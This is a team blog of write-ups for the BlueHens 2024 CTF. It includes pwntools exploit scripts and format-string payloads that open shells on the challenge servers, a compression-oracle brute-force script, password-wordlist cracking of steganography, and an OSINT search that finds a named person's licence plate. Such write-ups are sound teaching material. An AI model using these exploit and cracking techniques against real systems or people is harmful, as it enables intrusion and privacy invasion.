Post

BlueHens CTF

BlueHens CTF Writeups

Hello world, and welcome to our first blog post! Over the weekend, we participated in the BlueHens 2024 CTF, organized by the Blue Hens academic team from the University of Delaware. As our first CTF experience, we’re proud to have finished in 34th place out of 498 registered teams. This CTF was a mix of fun, challenge, and uniqueness that kept us up all night—literally! 😅 We solved 22 out of 54 challenges, and we’d like to give a special shoutout to our MVP for this CTF: m3tadr0id.

image

Below are the write-ups for the challenges our team solved. Hope you enjoy them!

Pwn

thetv

Description

The dude at 777 needs some help with his remote, he heard you worked in IT… so make sure you fix it, and don’t break anything!!

nc 0.cloud.chals.io 30658

Challenge Author: Cam

Solved by: winter


Challenge Overview

In this challenge, you’re interacting with a “smart” TV remote with two primary modes:

  • Programming (p): You can send specific commands.
  • Channel Switching ( c ) : Allows you to navigate six channels, with the sixth one containing a flag if accessed with the correct PIN. The remote system has:

  • Channel 6: Protected by a PIN. Format String Vulnerability: Detected in the programming mode. To solve the challenge, the goal is to exploit the format string vulnerability to manipulate the PIN comparison, allowing us to access the flag channel.

Thought Process And Exploitation

First lets see what this program does:

image

When execueted we are met with 6 options. Of the 6 only one has functionalities . that is printing out the flag when the correct pin but we dont know the pin.

The prompt also gives us two actions c to change channels and p to enter programming.

c does exactly what it says .

image

while p asks for input that it prints out to the terminal, now doesnt that just scream fomart string.

image

Decompile the binary with ghidra I confirm my suspicions, Bellow is the

image

We have a printf without any format specifier.

Format String Vulnerability Identified so there are two strategies here:

  • Leak the pin
  • modify the pin

Let try modifying the pin. So we need to find a place in memory to write our value and overwrite the address of pin to that location.

Now its gdb time .

So what we want is to break:

  • Before the vulnerable printf
  • After the printf
  • At the pin compare

image

image

image

Now we run and supply a bunch of %p to leak values off the stack and confirm where exactly

  • The address of pin
  • Location we can write to

so We supply :

1
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

The we hit our first breakpoint and continue for now, and we see that we are able to leak values.

image

image

We see that we have leaked values at positions 10-14

Now we are at the second breakpoint, we continue to the next and check the compare. So we will choose to switch channels and put an arbitrary pin : 1234

image

We see that our input is being compared t a value at position 13 of our leak

Lets check how that value is set. image

From the assembly we see the value of pin is placed into rax and direfrenced 4 times before the compare … We can break at mov rdx, rax and see the next couple of instruction in pwndbg.

image

Now from the above we can formulate a plan.

  • Overwrite the last derefrenced pointer with a pointer to an area in memory that we can write our values to i chose: image

  • Now write the last byte c8 to position 13 0x7fffffffdbe0 … not position 0x7fffffffdbc8 is 0x420 so if the compare checks our input against this we know we were successfull

1
2
%200x%13$hhn

image

  • Now we write our value at that location position 10

so i wanted to write 1234 which is 0x4d2 in hex hence

1
2
1234 - 200 - 1(for the dot)
%200x%13$hhn.%1033x%10$hn

image

image

image

For some reason the remote wasnt accepting my payload so i tried writting to different areas untill i ended up with

1
2
3
4
%216x%13$hhn.%10$hn

%216x%13$hhn --> write 0xd8 to the the address at 13
.%10$hn  ---> including the dot = 217 so writes 0xd9 to the value pointed to by the above  address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Channel 1: Format Fiasco
Channel 2: Echo Chamber
Channel 3: Buffering Chaos
Channel 4: The Stack is Back
Channel 5: RAX the World
Channel 6: Get the Flag

Which mode? Programming (p) or Channel Switching (c)? p/c
>  p
You enter programming mode, and hear the remote say: Please say what option you want to select: Account Options, Channel Info, Security, or More Options.
>  %216x%13$hhn.%10$hn
You say:
                                                      3f92e010.
... you hear the remote say

Sorry, I did not get that. Please try again later.
Which mode? Programming (p) or Channel Switching (c)? p/c
>  c
Change the channel? (y/n)
>  y
Switch to what channel?
>  6
It's prompting for a pin... you forgot the pin.. but you still try anyway.

Enter in the pin: 217
It worked?!? You must've said open-sesame before you entered the pin in
UDCTF{th3y_h4ve_n0_ch4nnels}

UDCTF{th3y_h4ve_n0_ch4nnels}

Pure Write-What-Where

Description

Straight to the point.

nc 0.cloud.chals.io 16612

Challenge Author: ProfNinja

Solved by: winter


In this challenge, we face a classic Write-What-Where condition. We have control over both the value and index to write within a buffer, allowing us to target specific addresses. Our goal is to use this condition to redirect code execution and gain a shell.

The vuln function in this binary introduces a Write-What-Where condition with the line:

1
buffer[index] = val;

Here’s the key parts of the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void vuln(void) {
    long offset_to_canary;
    undefined2 val;
    int index;
    undefined2 buffer[52];
    long canary;
    
    canary = *(long *)(offset_to_canary + 0x28);
    index = 0;
    val = 0;
    puts("Welcome to PWN 102, Write-What-Where:\n");
    __isoc99_scanf(&DAT_00102037, &index);
    __isoc99_scanf(&DAT_0010203a, &val);
    buffer[index] = val;  // Write-What-Where condition
    
    if (canary != *(long *)(offset_to_canary + 0x28)) {
        __stack_chk_fail();
    }
    return;
}

Write What Where

  • The buffer[index] = val; line allows us to write an arbitrary 2-byte value (val) at any index in buffer.
  • Since buffer has only 52 elements, we can write out of bounds by setting index values greater than 52, allowing us to overwrite other parts of memory.

Overwriting the Return Address:

  • By setting index = 60, we can reach the return address.
  • Because this is a 2-byte write, we need to overwrite the last two bytes of the return address.

Bypassing the Stack Canary:

  • This binary uses a stack canary, which prevents straightforward buffer overflow exploitation.
  • Since we’re only writing the last 2 bytes of the return address, the stack canary check is bypassed.

Brute-Forcing the Last Nibble:

  • We brute-force the final nibble of the return address to match the correct return address value.
  • Each iteration adjusts the return address until it eventually matches the desired address for code redirection.

Steps

  • Identify the last two bytes needed for the return address to point to our desired location.
  • Create a loop to attempt each possible last nibble value, sending payloads until a shell is achieved.

Here’s the Python script using pwntools to automate the exploitation.

1
2
3
4
5
6
7
8
9
10
from pwn import *

elf = context.binary = ELF("./pwnme")

# Loop to brute-force the final nibble
for i in range(200):
    p = remote("0.cloud.chals.io", 16612)  # Connect to remote
    p.sendlineafter(b"Write-What-Where:", b"60")  # Set index to overwrite return address
    p.send(b"21317")  # Send the 2-byte value to try
    p.interactive()  # Enter interactive mode to see if we get a shell

image

udctf{th3_0n3_1n_s1xt33n_pwn_str4t_FTW}

Training Problem: Intro to PWN

Description

Classic win function pwn.

(I originally released this with a canary, took away the canary and redployed the service. If your binary has a canary download again.)

nc 0.cloud.chals.io 13545

Challenge Author: ProfNinja

Solved by: winter


This was a classic ret2win challenge. I struggled abit with it because the initial binary had a canary, this was fixed.

1
2
3
4
5
6
7
8
9
10
pwndbg> checksec
File:     /home/winter/ctf/bluehens/pwn/intro/pwnme
Arch:     amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

We are give a 64 bit binary that has a function vuln thats vulnerable to buffer overflow and we have a win function.

1
2
file pwnme
pwnme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45383520cace427afc3614964187fc28d704f6fa, for GNU/Linux 3.2.0, not stripped

As you can see below the binary uses gets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vuln(void)

{
  long offset_to_canary;
  char buffer [56];
  long canary;
  
  canary = *(long *)(offset_to_canary + 0x28);
  puts("Welcome to PWN 101\n");
  gets(buffer);
  if (canary != *(long *)(offset_to_canary + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Since gets does not perform boundary checks, any input longer than 56 bytes overflows the buffer. This allows us to control the return address and execute a ret2win attack by redirecting execution to the win function.

Solution

The buffer size in vuln is 56 bytes.

Our payload will need to fill this buffer and then overwrite the return address. Redirect to win:

After overflowing the buffer, we add the address of win to the payload. The return address we use in this case is the address of the win function, which we retrieve from the binary using ELF from pwntools.

Solve Script

below is the solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *


elf = context.binary = ELF("./pwnme")



p = remote("0.cloud.chals.io", 13545) #process()


payload = b"A" * 56
payload += p64(0x000000000040101a)
payload += p64(elf.sym["win"])



p.recvline()
p.recvline()
p.sendline(payload)
p.interactive()

udctf{h00r4y_I_am_a_pwn3r_n0w}

Crypto

Training Problem: Intro to RSA

Description

1
2
3
4
5
6
7
In [9]: p = getPrime(128)
In [10]: q = getPrime(128)
In [11]: N = p*q
In [12]: bytes_to_long(flag) < N
Out[12]: True
In [13]: print(pow(bytes_to_long(flag), 65537, N), N)
9015202564552492364962954854291908723653545972440223723318311631007329746475 51328431690246050000196200646927542588629192646276628974445855970986472407007

Challenge Author: ProfNinja

Solved & Documented by: m3tadr0id


Step 1: Understand the RSA Parameters Given

In RSA encryption, the public key consists of:

𝑁 = 𝑝 × 𝑞

N=p×q: the product of two prime numbers. 𝑒: the public exponent, which is given as 65537.

We also know: flag is a message that was encrypted with the public key, and The result of the encryption (c = pow(bytes_to_long(flag), e, N)) is given.

The goal is to find the original message, flag.

Step 2: Factorize 𝑁

We use n.factor() in SageMath to factorize 𝑁 into 𝑝 and 𝑞

Step 3: Calculate the Private Key Exponent

The private exponent 𝑑 is calculated using the modular inverse of 𝑒 e with respect to (𝑝−1)(𝑞−1) which allows us to decrypt messages encrypted with 𝑒 In mathematical terms: mod((p−1)(q−1))

Step 4: Decrypt the Ciphertext

Now that we have 𝑑 we can decrypt the ciphertext 𝑐 using the RSA decryption formula:

Here, m is the decrypted message as an integer. We can then convert it back to bytes and decode it to reveal the original flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = 9015202564552492364962954854291908723653545972440223723318311631007329746475
n = 51328431690246050000196200646927542588629192646276628974445855970986472407007
e = 65537

# sage: n = 51328431690246050000196200646927542588629192646276628974445855970986472407007
# sage: n.factor()
# 186574907923363749257839451561965615541 * 275108975057510790219027682719040831427

p = 186574907923363749257839451561965615541
q = 275108975057510790219027682719040831427
d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, n)
flag = m.to_bytes(length=(m.bit_length() + 7) // 8).decode()
print(flag) # udctf{just_4_s1mpl3_RS4}

udctf{just_4_s1mpl3_RS4}

Nonogram Pt. 1: Simple Enough

Description

When you get past the puzzle, you now face a classic encryption / old-school stego encoding. Wrap the text you find in UDCTF{TEXTHERE}`.

http://www.landofcrispy.com/nonogrammer/nonogram.html?mode=play&puzzle=17151x4.1x4,1x2.1x2,1x2.1x2,1x2.1x2,1x2.1x2,1x2.1x8,1x2.1x2.1x4,1x2.1x2.1x2.1x2,1x2.1x2.1x2.1x2,1x6.1x2,1x2.1x2,1x2.1x2,1x2.1x2,1x2.1x2,1x2.1x2,1x2.1x3,1x91x1,1x8,1x9,1x1.1x2,1x1.1x1.1x1,1x12,1x12,1x1.1x1.1x1,1x1.1x1.1x2.1x1,1x9.1x1,1x8.1x1,1x1.1x2.1x2,1x2.1x3,1x9,1x6x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x&palette=white.grey.X,black..&msg=df1b4ee23140ab89541134c295c4d696774c1ec8ddf6550353ef53096152657cc9e79a0300200931353c6e9aaa446c2f55684c39d4

Challenge Author: Grace

Solved & Documented by: m3tadr0id


When you get past the puzzle, you now face a classic encryption / old-school stego encoding. Wrap the text you find in UDCTF{TEXTHERE}`.

Solution

This was a nonogram puzzle

  • Nonogram Solver: We started with the nonogram puzzle and used https://fedimser.github.io/nonogram tool to recreate and solve the puzzle pattern provided. The solution revealed a coded message that required further analysis.
  • Cipher Identification: Next, we used dcode.fr’s Cipher Identifier to determine which cipher could have been used. We tested multiple options, and Bacon Cipher emerged as the solution.
  • Decoding: With Bacon Cipher identified, we decoded the message, which revealed the encoded string

Pasted image 20241109215436

image

UDCTF{PIXELATED}

Forensics

Inner Demons

Description

I can’t seem to sleep at night… Maybe I need to dig further within.

Challenge Author: -pleasework.sh

Solved by: oste & B0nf4c3


Solution

You are given this image:

inner_demons

Solving this challenge was relatively easy. As the challenge name suggests, there might be something hidden inside the image. There are couple of tools you can use to perform steganography, stegseek included. To install the tool, simply run:

1
2
wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb
sudo dpkg -i stegseek_0.6-1.deb

To crack the passphrase and extract the hidden file, run:

1
2
3
4
5
6
7
8
9
➜  stegseek inner_demons.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "junji"
[i] Original filename: "flag.txt".
[i] Extracting to "inner_demons.jpg.out".cat inner_demons.jpg.out
udctf{h0w_d0_y0u_s133p_@t_n1ght?}

Just like that, we have a flag.

I recommend stegseek for cracking password as it does so extreemly fast. From their documentation, they claim the tool takes 2 seconds to loop through 14million password from rockyou.txt

Attempting to use stegcracker, it might take almost ~5 hours as shown.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  stegcracker inner_demons.jpg
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2024 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'inner_demons.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
^C624/14344392 (0.19%) Attempted: 220292amossom
Error: Aborted.

udctf{h0w_d0_y0u_s133p_@t_n1ght?}

Whispers of the Feathered Messenger

Description

In a world where secrets flutter through the air, the bluehen carries a hidden message. A message that has been salted…. however its still a message… maybe the bluehen ignores the salt. This image holds more than meets the eye.

Challenge Author: @PotateL

Solved by: oste


Solution

You are given this bluehen image:

bird

The challenge description mentions: This image holds more than meets the eye. So lets begin with the basics. First, run exiftool to identify if there might be hidden comments or flag planted there. In this case, you get a string resembling base64 in the Comment property.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  exiftool bird.jpeg
ExifTool Version Number         : 13.00
File Name                       : bird.jpeg
Directory                       : .
File Size                       : 323 kB
File Modification Date/Time     : 2024:11:08 20:07:05+03:00
File Access Date/Time           : 2024:11:08 20:10:41+03:00
File Inode Change Date/Time     : 2024:11:08 20:10:03+03:00
File Permissions                : -rwxrw-rw-
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 72
Y Resolution                    : 72
Comment                         : UGFzc3dvcmQ6IDVCNEA3cTchckVc
Image Width                     : 1080
Image Height                    : 1350
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1080x1350
Megapixels                      : 1.5

Decoding the string, reveals what resembles a password. With this in mind, we can check if there are any files embedded using steghide:

1
2
3
4
5
6
echo UGFzc3dvcmQ6IDVCNEA3cTchckVc | base64 -d
Password: 5B4@7q7!rE\%   

➜  steghide extract -sf bird.jpeg
Enter passphrase:
wrote extracted data to "encrypted_flag.bin".

In this case, you get an encrypted file. You can get more information about the same as shown:

1
2
3
4
5
6
7
8
➜  file encrypted_flag.bin
encrypted_flag.bin: openssl enc'd data with salted password
➜  binwalk encrypted_flag.bin


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             OpenSSL encryption, salted, salt: 0x7788534E4EBCE329

This .bin file is OpenSSL encrypted and with a salt. I did some research on how to go about decryption and managed to decrypt the file as shown:

1
2
3
4
➜  openssl enc -d -aes-256-cbc -in encrypted_flag.bin -out decrypted_flag.txt -k '5B4@7q7!rE\' -salt
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

where:

  • enc: represents the encoding tool within openssl
  • -d: represents decrypt.
  • -aes-256-cbc: represents the encryption algorithm.
  • -in encrypted_flag.bin: input file.
  • -out decrypted_flag.txt: output file.
  • -k '5B4@7q7!rE\': password for decryption.

When you cat the output file, you get the flag:

1
2
cat  decrypted_flag.txt
UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}

Good resources

UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}

Giraffical Image Format

Description

A student disagreed with my pronunciation of gif. They said, snarkily, how do you pronounced Graphical Image Format. This problem is my response.

Challenge Author: Unknown

Solved by: oste


Solution

This was a very interesting challenge. You are given a file containing emojis

image

1
2
➜  file flag.giraffe.bak
flag.giraffe.bak: Unicode text, UTF-8 text, with very long lines (16384), with no line terminators

I spent a really long time trying to figure out what next😑. So i asked a friend how to go about it and he mentioned something to do with 2-bit binary representation and substitution. So i did some research around the same.

A 2-bit binary value is a number represented using two binary digits, or “bits.” In binary, each bit can be either 0 or 1, so with two bits, you have a limited set of combinations.

With 2 bits, you can create $2^2 = 4$ unique combinations. These are:

  • 00 (Decimal: 0)
  • 01 (Decimal: 1)
  • 10 (Decimal: 2)
  • 11 (Decimal: 3)

Each bit in a 2-bit binary value represents a power of 2, from right to left:

  • The rightmost bit (least significant bit) represents $2^0 = 1$
  • The leftmost bit (most significant bit) represents $2^1 = 2$

By combining these, you get the following values:

  • 00: Both bits are 0, so this is $0 \times 2^1 + 0 \times 2^0 = 0$.
  • 01: The left bit is 0, and the right bit is 1, so this is $0 \times 2^1 + 1 \times 2^0 = 1$.
  • 10: The left bit is 1, and the right bit is 0, so this is $1 \times 2^1 + 0 \times 2^0 = 2$.
  • 11: Both bits are 1, so this is $1 \times 2^1 + 1 \times 2^0 = 3$.

For this challenge, there are four emojis which are constantly repeated.The challenge was now mapping the binary values to the emojis. After multiple trial and errors, I finally found the right combination:

🦒00
𓃱01
🐪10
🐫11

I then used the following CyberChef recipe to Find/Replace, convert from binary data and finally render the GIF containing the flag.

image

UDCTF{pr0n0unc3d_j1f}

Misc

Bees in Space

Description

Imagine if the Bee Movie happened in space 🤯… okay it probably wouldn’t be that great because everyone would die or be wearing astronaut suits the whole time, but either way still cool to imagine!

Challenge Author: AcerYeung

Solved by: oste


Solution

The challenge text seems to be a long, irregularly spaced excerpt from the Bee Movie script, with certain phrases scattered or misaligned.

image

After doing some research i learned of a cipher called Whitespace cipher

You can then use online Whitespace Language decoders

image

UDCTF{wh1t3sp4c3_15_c00l}

AlgebrarbeglA

Description

78! - k = k - !87

Solve for k flag format is udctf{k}

Challenge Author: AcerYeung

Solved by: m3tadr0id


Solution

For this challenge, we used Wolfram Alpha to handle the large factorial values directly.

image

udctf{387700288526444839185460979130991103610316350951544192244807199359099600806691328655309595021094080317314686982970896828895806969367}

Web

Just a day at the breach

Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import json
import zlib

def lambda_handler(event, context):
    try:
        payload=bytes.fromhex(event["queryStringParameters"]["payload"])
        flag = os.environ["flag"].encode()
        message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag)
        compressed_length = len(zlib.compress(message,9))
    except ValueError as e:
        return {'statusCode': 500, "error": str(e)}

    return {
        'statusCode': 200,
        'body': json.dumps({"sniffed": compressed_length})
    }

It’s a little more crypto than web, but I know the exploit from a web defcon talk ages ago. This is a common web exploit for network sniffers.

https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload=00

Challenge Author: ProfNinja

Solved by: m3tadr0id


Solution

char by char brute. Getting the smallest length is the correct character and appending it to the other resolved ones to complete the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/"
known_flag = "udctf"
possible_chars = string.ascii_letters + string.digits + "{}_"

def get_compressed_length(char):
    payload = known_flag + char
    
    hex_payload = payload.encode().hex()
    response = requests.get(url, params={'payload': hex_payload})
    return char, response.json().get('sniffed')

while True:
    min_length = float('inf')
    next_char = ''

    with ThreadPoolExecutor(max_workers=10) as executor:  # Adjust max_workers based on network capacity
        futures = [executor.submit(get_compressed_length, char) for char in possible_chars]

        for future in as_completed(futures):
            char, compressed_length = future.result()
            if compressed_length < min_length:
                min_length = compressed_length
                next_char = char

    if next_char:
        known_flag += next_char
        print(f"Current flag: {known_flag}")
    else:
        break 

Pasted image 20241109041034

udctf{huffm4n_br34ched_l3t5_go

OSINT

Training Problem: Intro to OSINT

Description

A famous person is selling their house. In this market, who wouldn’t? Can you tell me who owns this house, and what the license plate of their “tough” car is? Flag format: udctf{FirstLast_licenseplate}

Challenge Author: Donovan

Solved by: Mystique


I began the challenge by performing a Google reverse image search on the provided image, which yielded several results linking to Marc Ecko, a prominent fashion designer and entrepreneur. From these findings, it was clear that Marc Ecko was the owner of the featured property and had put it up for sale.

Osint

With this knowledge, the next objective was to identify the vehicle Marc Ecko owned. I refined my search using the prompt “Fashion designer Marc Ecko’s car” and located a blog discussing several cars associated with him, ultimately identifying his vehicle as a Gurkha.

O2

In the final step, I conducted a search specifically for “Marc Ecko’s Gurkha,” which led to a YouTube video featuring the car. In this video, I was able to verify the license plate number, concluding this phase of the challenge.

O3

udctf{MarcEcko_wlj80f}

I’m Hungry

Description

Google is your friend.

Challenge Author: JD (jr.)

Solved by: Mystique


You are given a file named a_paper_football_player.jpg :

image

Note down the string and look it up on Cipher identifier

bswmrsvpjqtlbebwgawpnouxmtlpgjwfwbjswyj

image

You will get a strong hit on Vignere Cipher. Using Vignere Cipher you get:

image

1
threeoneeighttwotwoeighteightfourtwoone

Translating it to a human readable format, we get:

1
3182288421

Looking through the challenge tags (north american googlenot DHL), we found a contact resembling thedigits we have that belong to a restaurant called Bayou Soul.

Bayou

We spent so much time looking through the restaurants social media site for the flag. I.e twitter. faacebook…. After some help from friends….we had to re-strategize and look at the challenge file name title: a_paper_football_player.jpg

Paper football is played by Flicking the ball…

image

The thought of flicking gave yet another clue of flickr, Checking their socials on flickr, we got a photo of the flag:

Osint22

udctf{7H@-w4SN7--SO-H4rd}

XOR

XS1: XOR without XOR

Description

This is how XOR makes me feel.

This series of problems is called the XOR SCHOOL. For whatever reason I just love xor problems and over the years there are many that have charmed my soul. This sequence is an homage to the many many ways that xor shows up in CTFs. I hope you can see some of the beauty that I see through them.

Challenge Author: ProfNinja

Solved by: winter


This was an easy challenge 😅:

image

We just have to do the same thing done for encryption to reverse it .

1
2
3
4
>>> c = "u_cnfrj_sr_b_34}yd1tt{0upt04lbmb"
>>> (c*32)[::17][:32]
'y_1ntr0_pr0bl3m}udctf{just_4_b4b'
>>> udctf{just_4_b4by_1ntr0_pr0bl3m}

udctf{just_4_b4by_1ntr0_pr0bl3m}

XS2: Looper - xor school

Description

11010210041e125508065109073a11563b1d51163d16060e54550d19

Challenge Author: ProfNinja

Solved by: m3tadr0id


Solution

Get Part of the XOR Key

To kick things off, We leveraged the magic of knowing the flag format udctf{. XORing this snippet against the start of the ciphertext started to reveal a familiar, cheeky pattern in CTFs: deadbe. At this point, the puzzle pieces were coming together.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def xor(msg, key):
    o = b''
    for i in range(len(msg)):
        o += bytes([msg[i] ^ key[i % len(key)]])
    return o

ciphertext_hex = "11010210041e125508065109073a11563b1d51163d16060e54550d19"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
flagpart = "udctf{"

def find_key(ciphertext, flagpart):
    possible_keys = []
    for i in range(len(ciphertext) - len(flagpart) + 1):
        xor_result = xor(ciphertext[i:i+len(flagpart)], flagpart.encode())
        if xor_result.isalnum():
            possible_keys.append((i, xor_result.decode('utf-8', 'ignore')))
    return possible_keys

keys = find_key(ciphertext_bytes, flagpart)
for idx, key_part in keys:
    print(f"Found key segment at position {idx}: {key_part}")

Then it hit us — the challenge name, “Looper,” was no accident! It hinted that our partial key should loop, leading us to the classic full XOR key: deadbeef. A CTF favorite, deadbeef.

udctf{w3lc0me_t0_x0r_sch00l}

Get the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def xor(msg, key):
    o = b''
    for i in range(len(msg)):
        o += bytes([msg[i] ^ key[i % len(key)]])
    return o

ciphertext_hex = "11010210041e125508065109073a11563b1d51163d16060e54550d19"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)

# 'deadbeef' -> repeating key
full_key = "deadbeef"
decrypted_message = xor(ciphertext_bytes, full_key.encode())

print(f"Decrypted message: {decrypted_message.decode('utf-8', 'ignore')}")

flag udctf{w3lc0me_t0_x0r_sch00l}

XS3: Roman Xor

Description

https://gist.github.com/AndyNovo/309325b566b2df42b984e2401fedbaab

Challenge Author: ProfNinja

Solved by: winter


Solution

In this challenge, we are given a list of ciphertexts and a script that generated them. Our objective is to reverse-engineer the encryption to reveal the hidden flag within the ciphertexts. Let’s begin by analyzing the script to understand the encryption process.

1
2
3
4
5
6
f = open("poems.txt", "r")
lngstr = f.read()
f.close()
lines = lngstr.split("\n")
lines = list(filter(lambda x: len(x) > 30, lines))
Here, the script reads the contents of poems.txt and splits it into individual lines. The filter retains only lines longer than 30 characters, which will later be used to generate plaintext messages.

Step 2: Selecting Random Lines as Plaintexts

1
2
3
import random
winners = [random.choice(lines) for _ in range(10)]
The script randomly selects ten lines from the filtered lines in poems.txt. These lines serve as the base plaintext messages that will be XOR-encrypted.

Step 3: Cleaning Up the Plaintext Messages

1
2
3
4
def simple(ltr):
    return ltr.isalpha() or ltr == " "

pts = ["".join(filter(simple, x)).strip().lower() for x in winners] + ["udctf{placeholder_flag_here}"]

The simple function allows only alphabetic characters and spaces in each line, removing any punctuation. Each line is then converted to lowercase and stripped of extra spaces. After processing the selected lines, the script appends a placeholder flag (“udctf{placeholder_flag_here}”) to the plaintext list, which indicates where the flag should be in the final decryption.

Step 4: Generating the Key and Encrypting the Messages

1
2
key = os.urandom(100)
cts = [xor(x.encode(), key[:len(x)]).hex() for x in pts]

Key Generation: A random 100-byte key is generated using os.urandom(100). This is a crucial point because the key has a repeating structure in each ciphertext due to its fixed length of 100 bytes. XOR Encryption: Each plaintext message in pts is XORed with the corresponding segment of the key. This produces a hexadecimal ciphertext for each line, stored in the cts list.

Script summary

The script generates 10 encrypted lines and a placeholder flag by:

  • Selecting random lines from a poem text file as plaintexts.
  • Stripping non-alphabetic characters and converting the plaintexts to lowercase.
  • Encrypting each plaintext using a 100-byte random XOR key.

This setup gives us: A list of ciphertexts (cts) created from English plaintexts. A known flag format (udctf{…}) embedded as the last item in the plaintext list.

Strategy

The challenge lies in reversing the encryption without knowing the key:

  • Flag Format: We know the first few bytes of the flag (udctf{) and the closing }, which helps deduce parts of the key.
  • Frequency Analysis: Since the plaintexts are English text, frequency analysis can help infer likely key bytes based on common letter frequencies.
  • Manual Correction with Expected Phrases: Recognizing common phrases in English text can help fine-tune specific key bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import xor
from collections import Counter

# Given ciphertexts
cts = [
    '43794c9c8faa2cff24edc8afe507a13f62837c7e166f428cab5aff893225ff19104bc8754c1c09',
    '5d315e8786e62cf763e9d4afe80ca13b649a717e11615986b642f3952f76b71b0342c4',
    '46785a8bcae62aeb60a5deeef107a1256ed7792752695886ff50f5886171ff1717',
    '5d315e819fe621b966e08dfae906e43a78837b31162e5e8cff46e8953275f20a0d5ad23d4712144c',
    '557f4dce9ee220b967e4dfffe616e9216a9934291b7d5690bb45ba922e6afc',
    '55315a868fef35f16beac6afe810a1206a81717e1e6b5690b152ba953462ff0c424acd6e0307055a81b93590c1fe',
    '557d489dcafd2df870a5cfe0e816f268628334291b7a5fc2aa58f99f3276f616160fc27c5116',
    '557f4dce8bee21fc24f1c5eaa712ee3f6e853431142e448db216fb9e2b70e5110c48816b46011e5a',
    '407e099783ef29fd24edc4fca704f33d6283343f1c6a178ab645ba962464f1581147c0714f530350d5f53690dee6',
    '40785ace93e530b970edccfba711e0312b9e607e1c6143c2b616e3953425f317425bc9780317085ac5a6',
    '41754a9a8cf13da976dac4e1d810b1253f994b6f47514387b106e8a57175a40a0370d22c4d14084d9ea8'
]

# Define the key length
key_length = 100

# Define likely characters in English
likely_bytes = b' etaoinsr'  # Common letters in English text

# Initialize an array for the key bytes
key = [None] * key_length

# Adjust known bytes based on the flag format in the last ciphertext
flag_ct = bytes.fromhex(cts[-1])
known_prefix = "udctf{".encode()
